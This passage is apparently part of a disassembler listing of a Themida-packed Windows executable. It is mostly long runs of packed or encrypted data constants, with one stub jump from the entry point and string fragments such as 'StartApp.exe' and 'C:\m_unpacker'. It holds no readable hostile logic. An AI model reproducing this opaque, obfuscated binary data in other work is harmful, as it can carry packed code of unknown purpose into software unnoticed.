1EDC806Ah, 6225D3BDh, 124A00C6h, 0B27C5845h dd 81009923h, 54A0E480h, 0F5E7072h, 0E31739B6h, 23D62F00h dd 0DA1813F6h, 49590231h, 0E5960082h, 0C17270A6h, 0ED01E93Dh dd 0A3AFC97Ah, 68226CC7h, 49FFCB00h, 0BA18D17Bh, 88D81200h dd 0AD75C91Bh, 0AF99009Dh, 7BD393A1h, 9500BBE1h, 0BD4CA7DDh dd 701B330Bh, 0E7B13DB0h, 0F97FE698h, 0F1004F58h, 2798163Ch dd 17A92CC6h, 20621582h, 418D0F24h, 0DA1E9500h, 0F0FAF648h dd 7C70B77h, 2F808317h, 3B2EB24Ah, 0A802FD29h, 0CC595D00h dd 120A3F32h, 882CD905h, 0BC00F304h, 1184701Ah, 0DF73ADh dd 1819F110h, 24CF2720h, 9B172206h, 723E3E6Bh, 599660D6h dd 0B1D44C59h, 0BAC6B807h, 0CC00EC35h, 13D52287h, 49B9AD8h dd 885F7180h, 61004754h, 0C0983DF1h, 10D1BABh, 4113B101h dd 60FE6F8Ah, 5CA0C700h, 46009718h, 0C9479490h, 182144CDh dd 216EE40Ah, 891CCEC6h, 27402B0Bh, 3DBAA5A1h, 0B89D0015h dd 0CA7D02AAh, 17018E1Ah, 9B7C5CC6h, 60226C7Bh, 0DBB23B00h dd 5F55428Fh, 0ED37BE02h, 660F82ECh, 0F17AA8h, 0CB6940EAh dd 6663169Eh, 0C6523A00h, 36CA92ACh, 0B757904h, 5FBEDC83h dd 0EFE1E090h, 84625D00h, 2B537885h, 0FE7F2464h, 16381C94h dd 3CB0051Bh, 5D2C80EBh, 0B88063h, 0BDD4E312h, 0A64DB448h dd 361134h, 1869DC58h, 4C0E5DC6h, 3F808862h, 0FF90B729h dd 4A6C2F0Fh, 95FD20E8h, 7055DC34h, 0BB6300BDh, 45423630h dd 0DE0A1EDDh, 0ACF574E5h, 75A95A07h, 8A408184h, 8B67D5C5h dd 7E9CC801h, 0B55FAE6Ah, 0A0174423h, 3D59008Dh, 0F213DA28h dd 0CE746F01h, 4A643E80h, 4FD9E440h, 0C1F4735Fh, 0CCD06CC9h dd 0D3C2403h, 8A99FF00h, 277C92BCh, 808839A0h, 0E30ED053h dd 4A408905h, 0EA9A1C2Bh, 8256FB00h, 5CABE43Dh, 95171D6Ch dd 40A0E43Fh, 435D6DD1h, 0EEE9031Eh, 856FD249h, 0BC802C60h dd 0B0476130h, 0B9E400FCh, 0A046936Eh, 3BECF535h, 4314F67Ch dd 81BC8E5Fh, 8D409FDBh, 3D5AC44Ch, 11E06CC3h, 8DA3EFB3h dd 34FF5Ch, 0DE7A24A5h, 0A0BD10B5h, 5C263AF4h, 0C75500Ch dd 85CC0533h, 0CB0017A9h, 0B651E508h, 2A6A2BB4h, 0B98C05DFh dd 2C1000D0h, 0EA1558D4h, 783A10B8h, 0B415FB30h, 2C4285Fh dd 83F1579Dh, 85BBE041h, 0BB900906h, 608F35D7h, 14C4B40Ah dd 5A038045h, 76E95F3Dh, 69E46118h, 28C91h, 3F96F066h dd 0F4A5EF5Ah, 45D33B02h, 4024A3E3h, 48BD4400h, 0B3878C62h dd 3AEB1008h, 5400EE2Fh, 0CDAF6C3Ch, 0DF9DD9h, 6A8C0CCCh dd 8E7FABF9h, 8D4E5FE8h, 74047C57h, 24B5CD06h, 446F9EE0h dd 0A207E045h, 0DB82D7E5h, 5F8FA341h, 0C907E872h, 6063E301h dd 3F9233B1h, 7ADB4713h, 25EC09h, 49E2420Ch, 80349130h dd 7D9804A0h, 93003F01h, 0C5096F73h, 2836A2h, 72B7D8E4h dd 0B55DBE0Fh, 9FCB4709h, 5E10E9E9h, 0E44C7863h, 8DF83622h dd 0D4194860h, 0A879973h, 6C56AA85h, 33310064h, 1DE38CC5h dd 187A0A00h, 0B2B11EFAh, 58E8B0F4h, 0C92C8460h, 0A18286Ch dd 6C93CA07h, 0AF7002Ch, 5FBD5152h, 9C0020B9h, 0C27E13A1h dd 59850017h, 694EC812h, 277A0AAEh, 636E3A1Bh, 0CE0CB041h dd 9C5000E2h, 81F73314h, 280B5EBAh, 0D67A44h, 0AF7CAB82h dd 0EC1C0F84h, 6400E174h, 0C47A50CCh, 82946C04h, 0B08805DAh dd 0EA0B007Dh, 0DEDDE13Ah, 4717D271h, 11115CF4h, 0BEBD007Ch dd 1399179Fh, 67552650h, 95BA3A58h, 77289B02h, 24CC16D3h dd 80A239h, 429E4B23h, 0AA58E8h, 6FB4350Fh, 9C3CCBD1h dd 0FD83513Bh, 30676800h, 28CFEA8Ch, 9E6C30E3h, 925D5379h dd 5F563A07h, 7C2083EBh, 26D95C9Fh, 74F7A2h, 98C34F4Dh dd 97802D03h, 0E14003A1h, 616E3D95h, 571B4900h, 15BE6D99h dd 0D9410016h, 0CFC6CEF8h dd 0D1026C46h, 8D59711Ch, 3EF866F1h, 99005240h, 271F44E4h dd 0F000718Fh, 66B890F7h, 277DE5Eh, 0A9F25C18h, 3461C99Bh dd 69B61148h, 24B57EC8h, 34D8F7EDh, 705C8360h, 0F0267FA3h dd 0F81278CEh, 7C0F1400h, 0F005BFACh, 4C744CD0h, 4C80D121h dd 922DFB18h, 8A8C3F1Dh, 7A88F5BEh, 802C265h, 7A6C6F33h dd 0EA7800ECh, 0C59DBB5Eh, 0C0E1E0E3h, 84019F50h, 40DFB094h dd 0E4C457FFh, 75D8A86Dh, 0BA2600C3h, 0C86F7E02h, 0A5C8FCBh dd 71AE12C7h, 0B856680Ah, 0FC647802h, 0EA68C016h, 6A6D8865h dd 6C4FA44Ah, 2D918D6h, 5B8D7123h, 2A1EC05h, 1FC9176Ah dd 2F0D2E7h, 0ADAF74CCh, 99C0941Ah, 0FA76773Ah, 0C4425300h dd 0A50440CEh, 47D40083h, 0AF826DB2h, 0DC58C624h, 5E0C0144h dd 0E1328FB1h, 8422A03Ch, 0AF893D01h, 6F29A250h, 5480AC3Ch dd 11A1E8E1h, 7D881C1Fh, 4BA93BC0h, 18565D6h, 0BC71984Fh dd 0C901D18Ah, 5E403088h, 0BB6D405h, 0A22D9Ch, 1792890Fh dd 84AA003Eh, 38638C10h, 16587200h, 59B6DFCFh, 5698C92Eh dd 0A2F79084h, 0F4150034h, 0D1EBB192h, 0E0F275A6h, 0A96A00CBh dd 61B64BFEh, 69C43804h, 34F242AAh, 22500077h, 19FB6B78h dd 0AB0C6CF9h, 21049E52h, 39F54897h, 0EA11744Ch, 4E42E4Fh dd 84878040h, 61590B45h, 9C00CDD6h, 90B4E95Eh, 0A0F0B7FEh dd 0CFECBA0Bh, 18648759h, 0E31FAFE0h, 239802A1h, 4C0531F7h dd 28AEDC00h, 0D2E68Eh, 0B8BCD496h, 0CCC0CF8Bh, 1859E224h dd 0E7E02700h, 20AC6A6Fh, 0C80B4D6Bh, 8075DEB5h, 0D468C798h dd 4CFA1CB7h, 0AF9D00BCh, 2BBBF04Dh, 0A08FD337h, 0A0AA2CF3h dd 1D02161h, 0EE69B824h, 0C0D6C9E1h, 0B109050Bh, 90F85E6Fh dd 9169B7ECh, 9FD58B48h, 437AF424h, 98CB5358h, 7DE6D2Ah dd 9D4A31CEh, 0DCB37078h, 9B00F1E1h, 0D507825Fh, 0C07C6E0Fh dd 1AC88F39h, 0F7FAAA62h, 0F985B31Ch, 0E208ECC0h, 0F679D117h dd 94BF09F2h, 84005974h, 6824CFDh, 25A7083Ah, 6C4410F3h dd 0B0F100B4h, 0DF57FB29h, 310E0148h, 20F790CFh, 0E54E5B19h dd 0D7F20AAFh, 0A6C8A3DAh, 16D400B4h, 0AE1FF1Ah, 0D46FAC26h dd 0F0387EC0h, 0E9460912h, 8810E42Eh, 0E01B523h, 4FA20F79h dd 0B9177FE5h, 0EACB5A80h, 0D700D815h, 0D6B87407h, 13B21A55h dd 8801F95Ah, 810057F8h, 4CDE1DB7h, 3A2DCD9Dh, 0BF098382h dd 0F5D992Bh, 17D981D2h, 0E9805F62h, 5122B9D5h, 0DF4C24FAh dd 3C017654h, 98D047AFh, 298BDB06h, 6496F75Eh, 5059510Eh dd 0A8468025h, 35D1E5h, 8D3AA281h, 0B6F77FD5h, 481C6426h dd 844AF808h, 0B4309D15h, 2760B288h, 0EC74B706h, 77EA00F6h dd 78A6BA31h, 0C272892Ah, 0FA325D1Ch, 55B98C07h, 0FB79007Bh dd 0E9C1866h, 0B4E4BB38h, 0B6FA81FFh, 72622256h, 576C0ED8h dd 82B54046h, 66D3E3h, 4A3F8637h, 0C089A392h, 80CC6F4Ch dd 84174FCAh, 5AE00E6h, 5A942A70h, 271E3718h, 60C065D8h dd 0FC95B9F4h, 0ECA41759h, 634C0871h, 3097E496h, 0D84018B0h dd 407CB664h, 3C33E361h, 4234B11Dh, 8144B6C0h, 0EAE51F26h dd 0A014A0CEh, 0E1F502F4h, 1C3F4562h, 0CF8B7479h, 30746001h dd 9687D96h, 5FFB48B4h, 5D07C93h, 0A63CB6EAh, 16D08EB9h dd 3FBD0050h, 19F98D7h, 20093BBCh, 80446FDBh, 0D458DCB9h dd 1A064h, 5927149Dh, 8F93BE5Ah, 0C74A05E0h, 5BE3A421h dd 5EC4307Ch, 0E564C8F5h, 928344h, 0CBA39493h, 298C7D4h dd 100E4B9h, 5F441CDCh, 501CA2F7h, 476C5EC4h, 2E284A6Ch dd 0F0904760h, 7B00A815h, 4289B1C2h, 60D556h, 18764830h dd 9371ABD3h, 64164498h, 3C17CA1Dh, 9AAFC890h, 694F0022h dd 0CEDFC8D1h, 0EE1DD947h, 82406B58h, 41B66C14h, 982900CCh dd 0B4C813E6h, 0C15143C6h, 3A9872BCh, 0E5327834h, 725FC9A6h dd 830F0304h, 1139467Dh, 402D93E1h, 0EE21AFADh, 0CEED6E04h dd 0F0C9E7AEh, 40EFED8h, 0CA0BEFE4h, 0F440C0C1h, 6300BF20h dd 1748E3C9h, 14CFB5B1h, 0B891DE49h, 444A7900h, 30D97C7Dh dd 6B65F17h, 0B2288Ch, 8CDB5262h, 6FFD46E3h, 0D0807B55h dd 96014B81h, 0ED86336Ch, 0FFF8C452h, 0CB380A66h, 18EA187h dd 14FE6DD7h, 40EC726Bh, 0DB000DFEh, 73B5CFE0h, 4A818Ch dd 0ACDC267Fh, 34C73DF4h, 9B415104h, 0D8B4825Eh, 0F2A309D4h dd 4C005C4Ah, 0B269C273h, 8109F499h, 57D00223h, 43A85424h dd 0D7EB4BDBh, 23AFDAD8h, 5D4C708h, 0E04D0067h, 0CB30E48Ch dd 0C2F6400h, 2CBF9FC6h, 9E340B01h, 7C81F910h, 28B16CAFh dd 0ABA4804Ch, 3EB7BBFh, 1730C8D4h, 0EEB0A33Bh, 9FF4FE18h dd 806C034Ch, 0C0D70B96h, 2CC82CE7h, 0E02207CFh, 0BCEBE07Eh dd 0FD0F33FCh, 402180E1h, 27DCD37Ah, 0ECBE300Ch, 0A15A7431h dd 8ED44B0Eh, 521EC0E9h, 745D38Bh, 99581AA5h, 0BC137093h dd 8D4CFBBDh, 35F2173Dh, 0CA759A00h, 0C2D5964h, 3BDF6F5h dd 6738C808h, 0A6A20079h, 3676E775h, 2FE11C23h, 2C20F087h dd 30FF3FFh, 802D6EE0h, 294F4C08h, 0ABE24464h, 24019172h dd 57DF93AAh, 1CBFE55h, 0BF4E3069h, 4084A167h, 87EC2C8Ah dd 25D0CA03h, 810E28DAh, 0E18CED4Ch, 10395FFFh, 0DFDB1200h dd 91CE7637h, 0C7700008h, 0D382A879h, 0E004146h, 839E61C8h dd 7CE968Ah, 0A4047606h, 0D4886020h, 6450C75Ch, 0AC515744h dd 0C95EC858h, 20270DFh, 90F39645h, 0C66578h, 0D1AA8FF9h dd 22AEAC1Ah, 0D2AB3900h, 30E0CBB4h, 0ADC4004Bh, 6F4F14C0h dd 0D1023D0Eh, 0BEA76AB7h, 5AACA018h, 0F8980132h, 1391E871h dd 0D9227Dh, 0BD2DDB0Ah, 8D7DA65Eh, 0D405F319h, 6510F6A0h dd 2460BE68h, 0D3442A49h, 8BF403CEh, 0DD85F1FDh, 0CDB72900h dd 879C8163h, 0DAFB0356h, 0F2825817h, 0EBBD2115h, 0E97D00ACh dd 9473C1A1h, 62560063h, 519803A8h, 9B00C91Bh, 0B8082E95h dd 30FFD864h, 0AD39E876h, 0AF75AC1Bh, 58F02303h, 0A289102Eh dd 63C18683h, 783E01BAh, 3CBE5509h, 0F44D212Eh, 0DB03B476h dd 85FB65CAh, 179100C6h, 4E7D9CF2h, 0CC00BEF1h, 0FEBA10DEh dd 3FF480Dh, 335E7E2Eh, 3179F363h, 16F56400h, 0ECB87F8Fh dd 3790923h, 0A5C1CACEh, 0DC348005h, 8731094Bh, 0A839C0C5h dd 1C30A55Bh, 0E04DD5Ch, 21598D82h, 0CDCE8FE4h, 54BEA8CCh dd 12FB0FFh, 0A10157C5h, 0C45177ECh, 0EB0008A2h, 5887B425h dd 49FE8AB8h, 742454h, 1251A810h, 0B388637Dh, 616D7B00h dd 76A44D0Eh, 44855079h, 0C20F0098h, 69941EAFh, 0D40118ECh dd 0E11D9C4Dh, 0D0CC8EFAh, 51CE001Ah, 0B5AF28A0h, 0A73757BEh dd 0E47541C7h, 2DD2C440h, 20DC1Eh, 0D1CA6B06h, 2B760758h dd 1CC3450h, 68BB49h, 0C742ADD6h, 0FC4369h, 9F821AC0h dd 27B71B96h, 0A8589112h, 36907427h, 3010B353h, 0B9E157FEh dd 0A301F33Ah, 8EA6E9DBh, 3DCCE26h, 0A5820007h, 9ED94A74h dd 560DD4AFh, 79CA11C7h, 88A09440h, 63FF12E9h, 0FEB0460Fh dd 0CA1D5952h, 82F0692Fh, 0E670716Ch, 1821F4FAh, 3165C83Fh dd 86482DF6h, 47C8018h, 213EB7h, 944BA57Fh, 6743FE39h dd 5B5FF700h, 0FF8610DAh, 234E3E90h, 49124A9Bh, 790058D3h dd 0C5E36D61h, 0E23717h, 0D170440Dh, 188C9840h, 3D1C2B4Ch dd 858A8CB8h, 700C79DFh, 137DB8E1h, 1606DC5h, 62FFCF3Ch dd 91C850DEh, 20922BE2h, 264C0601h, 0E3C078DFh, 3F032180h dd 1177E112h, 6B18A600h dd 76887D20h, 6365099Bh, 0A4803573h, 0AF821B2Bh, 0BA148377h dd 5CFEEFh, 23E20BDFh, 4A9E86h, 0F4D66966h, 48966244h dd 72DF9F01h, 283AED2Eh, 0B8AD8981h, 0F035468Eh, 0B2003171h dd 7248EA6Eh, 0F69976B4h, 12E53B84h, 1FA75454h, 0C4DCAE9Eh dd 80B0D058h, 0BB627CECh, 0FC67D319h, 301401E8h, 0AA991990h dd 915F4200h, 2775E5A5h, 4C72F0B5h, 67040C8Bh, 0C00349C1h dd 0BDDCB6D0h, 52096491h, 0C30755D4h, 0C5EA8007h, 0C77AF33Fh dd 57F96063h, 2C7126AEh, 79460BE4h, 2E10FC00h, 89031976h dd 0C1AEE005h, 8B291D1Bh, 3B808377h, 50C8CEAFh, 0E4005502h dd 167C1F72h, 0A9915D4h, 9B8FE29h, 96A200B8h, 6E417B31h dd 0C8104800h, 0E1D39E79h, 0EA5C0761h, 7002D04Bh, 0AE4F577Bh dd 0AC26A426h, 0BE11F111h, 570100E7h, 5F48B0BDh, 33930034h dd 7D3BCDDAh, 2C028E98h, 10D21B9Fh, 0A59040DDh, 81500DEh dd 0FFAB48B7h, 49C0FC64h, 777BFB76h, 86142429h, 473140D0h dd 44182EDDh, 0D0C022E7h, 0CB430145h, 0BE18E15Fh, 0F7782490h dd 2EDCA501h, 0F2C6ECFDh, 1CF381D4h, 1F7804D5h, 3069B576h dd 0B39DAB30h, 97C18F03h, 0B0ADD438h, 16AA8516h, 30013DA6h dd 25C11740h, 0FF9F7101h, 78F2933Bh, 20E47E8h, 0D975D076h dd 14C08288h, 65855B6h, 5D7D18CCh, 0C329C069h, 0E3378049h dd 88D5659Bh, 4A005BF8h, 0BFA80B6Eh, 113E999h, 0BD11C6BAh dd 0F06972ADh, 5A3CD435h, 491CB0DBh, 0F52BCC5h, 992C59E1h dd 0E776F3C0h, 8F0112B9h, 0A1ACC6C3h, 6040C15Ch, 14182AEh dd 0B5A41984h, 50E06427h, 0A8BEAFB0h, 0E37B9300h, 76577025h dd 75FECA3h, 0B3ADC712h, 394BB0F4h, 84914790h, 0E25EFF06h dd 0C27501C1h, 57BA213Bh, 17E062AAh, 430024Bh, 7934489Ch dd 0DA3B0014h, 0A00F7847h, 811F8444h, 49C2AD9Dh, 0E485A6F5h dd 0FC230750h, 12521701h, 197CCB0h, 0DBFFFFh, 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53E281: ; CODE XREF: start:loc_4E0265j ; DATA XREF: start:loc_4E0086o jmp loc_5415EA ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 0FCFCh dd 8001h, 0A00F0000h, 0A0h, 0 dd 0FFFF0000h, 0FFFFh, 0 dd 0FFE00000h, 12h, 0 dd 0EC1E0000h, 0FFABh, 0E77D0000h, 77DF0058h, 9F70058h dd 0A0h, 3 dup(0) dd 69DD0000h, 0A0h, 363D0000h, 58h, 3 dup(0) dd 31540000h, 0A1h, 98CD0000h, 85DD0057h, 31000A0h, 7 dup(0) dd 8B820000h, 77E7h, 6 dup(0) dd 82200000h, 4 dup(0) dd 0DAE9h, 8D8D0000h, 8AB6h, 0 dd 69DD0000h, 0A0h, 500000h, 0FEAFh, 2 dup(0) dd 0A6E90000h, 630177EBh, 59h, 11h dup(0) dd 6CB20000h, 58h, 2 dup(0) dd 83780000h, 8ECBh, 0 dd 4A030000h, 8018h, 3 dup(0) dd 0AC0000h, 8 dup(0) dd 36360000h, 3636h, 9 dup(0) dd 17B20000h, 58h, 3 dup(0) dd 8D8D0000h, 2D8Ah, 0 dd 0D0000000h, 256h, 4 dup(0) dd 59F00000h, 77DDh, 0FF540000h, 2E0F0012h, 30477F5h, 7FFEh dd 2 dup(0) dd 87F20000h, 6077EBh, 70C40000h, 156800A0h, 343000A1h dd 23312Dh, 53h, 0Eh dup(0) dd 0AB4C0000h, 54h, 0D4AF0000h, 56h, 0Fh dup(0) dd 6520000h, 0FC120054h, 0F17Ah, 4 dup(0) dd 4A030000h, 8018h, 2 dup(0) dd 4A030000h, 8018h, 6 dup(0) dd 9F30000h, 2BA1h, 0 dd 0FFB00000h, 220h, 7 dup(0) dd 70000000h, 3, 3 dup(0) dd 21210000h, 2121h, 6 dup(0) dd 0E490000h, 9C370000h, 0A0h, 4 dup(0) dd 46650000h, 57h, 5 dup(0) dd 4E8D0000h, 0C96A8AB6h, 0D3CE77D4h, 4869h, 3 dup(0) dd 489B00AEh, 58h, 2 dup(0) dd 0C8230000h, 8002h, 2 dup(0) dd 20A70000h, 92E60059h, 0FFC43410h, 12h, 4 dup(0) dd 37DE0000h, 77E7h, 85F10000h, 57h, 0Dh dup(0) dd 31450000h, 39E200A0h, 7F2B8C0Bh, 1D7577F5h, 46D6h, 6D990000h dd 5Ah, 2 dup(0) dd 0AD930000h, 5Ah, 0A5EA0000h, 8A0Fh, 8 dup(0) dd 0F1F40040h, 0D62Bh, 5 dup(0) dd 51B70000h, 275Ah, 40000h, 3040000h, 2 dup(0) dd 4A030000h, 8018h, 0 dd 2CD00000h, 5Bh, 3 dup(0) dd 0EDAC0000h, 0FFFFh, 0 dd 0CD0E0000h, 5Ah, 5 dup(0) dd 58F80000h, 52Fh, 2 dup(0) dd 303D0000h, 5Ah, 3 dup(0) dd 0E0000000h, 70D004Dh, 2082h, 155C0000h, 0A1h, 6 dup(0) dd 40020000h, 84100000h, 58h, 5 dup(0) dd 6F170000h, 5Bh, 2 dup(0) dd 0AC0000h, 2028FFEDh, 51B78608h, 275Ah, 94990000h, 0A0h dd 5 dup(0) dd 69170000h, 5Ah, 2 dup(0) dd 12ED0000h, 58h, 12540000h, 77F5h, 0 dd 0FFFE0000h, 57h, 77DDh, 2 dup(0) dd 7C460000h, 4113h, 140000h, 0Eh, 0 dd 20000000h, 3 dup(0) dd 0FB810000h, 0C96A004Ah, 0C58177D4h, 53A7h, 6 dup(0) dd 0F2BD0000h, 0ABF0057h, 0E84E0054h, 4F92FFA7h, 57h, 6 dup(0) dd 1B370000h, 0FFA9h, 0 dd 251D0000h, 59h, 5 dup(0) dd 0CC740000h, 57h, 3 dup(0) dd 0C3810000h, 0F4F60059h, 53h, 7 dup(0) dd 0C0000h, 241h, 2 dup(0) dd 54B40000h, 0FFABh, 2 dup(0) dd 0E4C90000h, 94D60056h, 0FF50h, 65520000h, 72617473h dd 70704174h, 6578652Eh, 0A9A0000h, 0D554009Fh, 9Fh, 0A00F0000h dd 5C00A0h, 0FFEDh, 10h dup(0) dd 0FA3D0000h, 9F48h, 8BFF0000h, 449Ah, 0 dd 49E0000h, 0FFFFh, 0Eh dup(0) dd 272F0000h, 7C9Eh, 7 dup(0) dd 6D990000h, 5Ah, 10000h, 20000h, 3 dup(0) dd 77270000h, 0FFA5h, 0F2A20000h, 7DD0h, 8 dup(0) dd 75330000h, 57h, 363C0000h, 58h, 3 dup(0) dd 8BFF0000h, 449Ah, 7 dup(0) dd 91630000h, 78Eh, 0 dd 0AC5E0000h, 77E7h, 6 dup(0) dd 2710025Ch, 58h, 0 dd 0CA960000h, 0FFA7h, 0 dd 6D700000h, 64290000h, 5Ah, 7C0000h, 80A30000h, 0CDA6h dd 6 dup(0) dd 6B4A0000h, 0BABAh, 3 dup(0) dd 10000h, 230000h, 8A0054h, 7 dup(0) dd 6ACD0000h, 7DFDh, 30DF0000h, 0A9C5h, 0 dd 0A00000h, 0 dd 0A6FF0000h, 356ABD96h, 58h, 0FCFC0000h, 189A8001h, 30477DDh dd 7FFEh, 2 dup(0) dd 10000h, 5 dup(0) dd 2C130000h, 76D5h, 2 dup(0) dd 25Ah, 0E6E80000h, 10000h, 0FFDD0000h, 0A0h, 3 dup(0) dd 0FFA40000h, 12h, 2Ch dup(0) dd 0A7980000h, 0A9B2h, 3 dup(0) dd 10000000h, 4 dup(0) dd 6F00000h, 4CCh, 0 dd 3040000h, 7FFEh, 0 dd 9E980000h, 0A1FEFFFFh, 0B0h, 2 dup(0) dd 3CA50000h, 0A8B1h, 23D70000h, 77DDh, 5 dup(0) dd 9Fh, 0 dd 0BE7C0000h, 4E2D1069h, 5Ah, 0 dd 1E770000h, 0FDE3h, 14h dup(0) dd 79690000h, 5ECCFFA9h, 77DDh, 3 dup(0) dd 0B1680000h, 9Fh, 0 dd 9E640000h, 0FFFFh, 0 dd 7DB00000h, 0ABE3h, 0 dd 9E640000h, 0FFFFh, 5 dup(0) dd 77F5h, 0 dd 0A7600000h, 5Ah, 0BF540000h, 980057h, 0 dd 56350000h, 780Ch, 4 dup(0) dd 3040000h, 7FFEh, 10000h, 2 dup(0) dd 3E0000h, 77E6h, 0EA010000h, 58h, 5 dup(0) dd 66600000h, 0D88Ch, 4 dup(0) dd 77E6h, 8 dup(0) dd 4A5D0000h, 5Ah, 2 dup(0) dd 0FFDD0000h, 0FFA8h, 0 dd 0B5680000h, 0FFFFh, 2 dup(0) dd 69DD0000h, 0A0h, 27100000h, 6 dup(0) dd 6A3D0000h, 5Ah, 8 dup(0) dd 79630000h, 77E7h, 3 dup(0) dd 59740000h, 5BE48655h, 0A4A30057h, 57h, 0 dd 20000h, 0 dd 82200000h, 45180000h, 0BC33h, 5 dup(0) dd 0E1380000h, 0FA37h, 5 dup(0) dd 0FFFF0000h, 0FFACh, 0EE020000h, 53h, 22920000h, 0FFFE00A0h dd 0FFFFh, 10000h, 4 dup(0) dd 0D5C77F5h, 7FAAh, 6 dup(0) dd 2D600000h, 1284h, 0 dd 0F7E0000h, 6C91h, 5 dup(0) dd 5CB50000h, 77E7h, 2 dup(0) dd 3E0000h, 77FFh, 7 dup(0) dd 0BC640000h, 0D5B2h, 4 dup(0) dd 0EB090000h, 0E5FA16B7h, 58h, 3 dup(0) dd 6CFE0000h, 1284h, 2ABA0000h, 0A10h, 0A2D40000h, 4A7Bh dd 3 dup(0) dd 20000h, 6 dup(0) dd 0E0B30000h, 5Ah, 0 dd 9EEC0000h, 58h, 0Ah dup(0) dd 0FFFC0000h, 12h, 0 dd 5ECF0000h, 5704h, 8 dup(0) dd 8D740000h, 0FFFFh, 0 dd 82200000h, 0E4C90000h, 56h, 3 dup(0) dd 3040000h, 7FFEh, 3 dup(0) dd 20A90000h, 59h, 0Dh dup(0) dd 8D8D0000h, 8AB6h, 2 dup(0) dd 4A3B0000h, 77E7h, 33330000h, 2 dup(33333333h), 3333h dd 0 dd 3040000h, 0A5FD7FFEh, 77E7h, 8AF40000h, 0FFFFh, 3040000h dd 7FFEh, 0AFh dup(0) dd 0BCDF0000h, 57h, 5D490000h, 304FEF7h, 7FFEh, 2 dup(0) dd 3040000h, 7FFEh, 6 dup(0) dd 0ADE70000h, 15680000h, 0A1h, 2 dup(0) dd 3040000h, 7FFEh, 751F0000h, 0 dd 1C87025Ah, 59h, 880000h, 3 dup(0) dd 30DF0000h, 0A9C5h, 0 dd 0FF1C0000h, 2 dup(0) dd 82200000h, 69F00000h, 0A0F8h, 8 dup(0) dd 10000h, 3 dup(0) dd 0D7460000h, 0E53Ah, 3 dup(0) dd 0B1A70000h, 0Ch, 82200000h, 81E10000h, 99CFh, 0 dd 0E800000h, 4 dup(0) dd 3A00000h, 0F7EB0000h, 7FEFh, 3 dup(0) dd 0A13F0000h, 77E7h, 0D0000000h, 0Dh, 0 dd 0FF540000h, 12h, 4 dup(0) dd 0D8960000h, 7FFEh, 0FFA40000h, 62890012h, 10h, 77F5h dd 9 dup(0) dd 0B4C40000h, 6B9Dh, 77D4h, 0 dd 0E9630000h, 0C585h, 0 dd 3040000h, 0F06B7FFEh, 0A0h, 18h dup(0) dd 18BC0000h, 1, 22220000h, 22222222h, 2222h, 2 dup(0) dd 0B1340000h, 0A2h, 2 dup(0) dd 0C9A40000h, 19594h, 3 dup(0) dd 68540000h, 64696D65h, 61h, 1Dh dup(0) dd 7C460000h, 33274113h, 0E16Dh, 3 dup(0) dd 24240000h, 2424h, 0Bh dup(0) dd 247A0000h, 166Dh, 2 dup(0) dd 9C670000h, 5B9A0059h, 0FFFFh, 0 dd 740000h, 0 dd 10000h, 0A7090000h, 62FB005Ah, 5Ah, 6 dup(0) dd 60000h, 4 dup(0) dd 53E90000h, 53CFh, 151C0000h, 17FF2h, 0 dd 249h, 0 dd 67FD0000h, 59h, 0 dd 0A00000h, 0 dd 18780000h, 0DAE9h, 90BBh, 4 dup(0) dd 780000h, 0CA960000h, 304FFA7h, 7FFEh, 0AF290000h, 304005Ah dd 7FFEh, 8 dup(0) dd 69DD0000h, 0A0h, 2 dup(0) dd 3040000h, 7FFEh, 0 dd 16710000h, 59h, 0 dd 8A890000h, 805Ch, 8 dup(0) dd 486E0000h, 54h, 4 dup(0) dd 0FF540000h, 12h, 0 dd 89330000h, 8818h, 3 dup(0) dd 10000000h, 40h, 0 dd 27550000h, 77E8h, 5 dup(0) dd 7F10000h, 28Bh, 2 dup(0) dd 92140000h, 58h, 9 dup(0) dd 3040000h, 7FFEh, 3 dup(0) dd 17B20000h, 58h, 3 dup(0) dd 1D960000h, 0E0B30057h, 5Ah, 2 dup(0) dd 30980000h, 59h, 5 dup(0) dd 3040000h, 93937FFEh, 0A0h, 75330000h, 57h, 3 dup(0) dd 4AF00000h, 0Eh, 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh dd 82h dup(0) dd 600000h, 0 dd 82200000h, 10000h, 2 dup(0) dd 6F80000h, 0F02Eh, 900000h, 0 dd 64A10000h, 6A38h, 6 dup(0) dd 25Bh, 3 dup(0) dd 0FE60000h, 9Fh, 26h dup(0) dd 0F7B076B4h, 58h, 8 dup(0) dd 0CF5F0000h, 1EC7h, 3 dup(0) dd 3C40000h, 3 dup(0) dd 0A5E70000h, 579B00A4h, 58h, 4 dup(0) dd 5FF10000h, 0FF5Fh, 0A1440000h, 77E7h, 0FF500000h, 12h dd 0 dd 2FE80000h, 77E8h, 10000h, 0D4AF77E6h, 56h, 0 dd 2CD00000h, 5Bh, 0 dd 30DF0000h, 0CBD3A9C5h, 0FA2Ch, 5 dup(0) dd 52190000h, 0FFFFh, 4 dup(0) dd 3040000h, 7FFEh, 82200000h, 8 dup(0) dd 0AE80000h, 6 dup(0) dd 9F480000h, 0FFFFh, 3 dup(0) dd 0BD340000h, 5Ah, 0 dd 96000000h, 0E87Bh, 6 dup(0) dd 0A7090000h, 5Ah, 0 dd offset dword_540000 dd 4 dup(0) dd 0FE420000h, 57h, 40020000h, 0 dd 0DBA0000h, 373F8052h, 5BF3h, 1D460000h, 57h, 0F5660000h dd 0FF60h, 0 dd 15640000h, 0A1h, 7 dup(0) dd 87F20000h, 77EBh, 7 dup(0) dd 43000000h, 0B157h, 0 dd 0C4860000h, 77E7h, 3040000h, 7FFEh, 2 dup(0) dd 197234h, 6 dup(0) dd 10000000h, 1Ch, 0 dd 10000h, 1Dh dup(0) dword_540000 dd 7Bh dup(0) ; DATA XREF: Themida_:0053FEB0o dd 933F0000h, 12h, 249h, 0FFFF0000h, 9335FFFFh, 10057h dd 68930000h, 59h, 2Ah dup(0) dd 0F80000h, 9Fh, 87C80000h, 8AF01016h, 0ABEFFFFh, 0A00F0054h dd 0C8D900A0h, 58h, 2BDE0000h, 0A0h, 2 dup(0) dd 0FEF00000h, 12h, 3040000h, 7FFEh, 3 dup(0) dd 0FD7A0000h, 53h, 1F80000h, 77FFh, 4A030000h, 8018h dd 3 dup(0) dd 0A6840000h, 5Ah, 4 dup(0) dd 1100000h, 0FFEDh, 3 dup(0) dd 1FFF0000h, 4 dup(0) dd 0EBB30000h, 77F7h, 3 dup(0) dd 4A030000h, 17898018h, 93EF0059h, 77E7h, 2 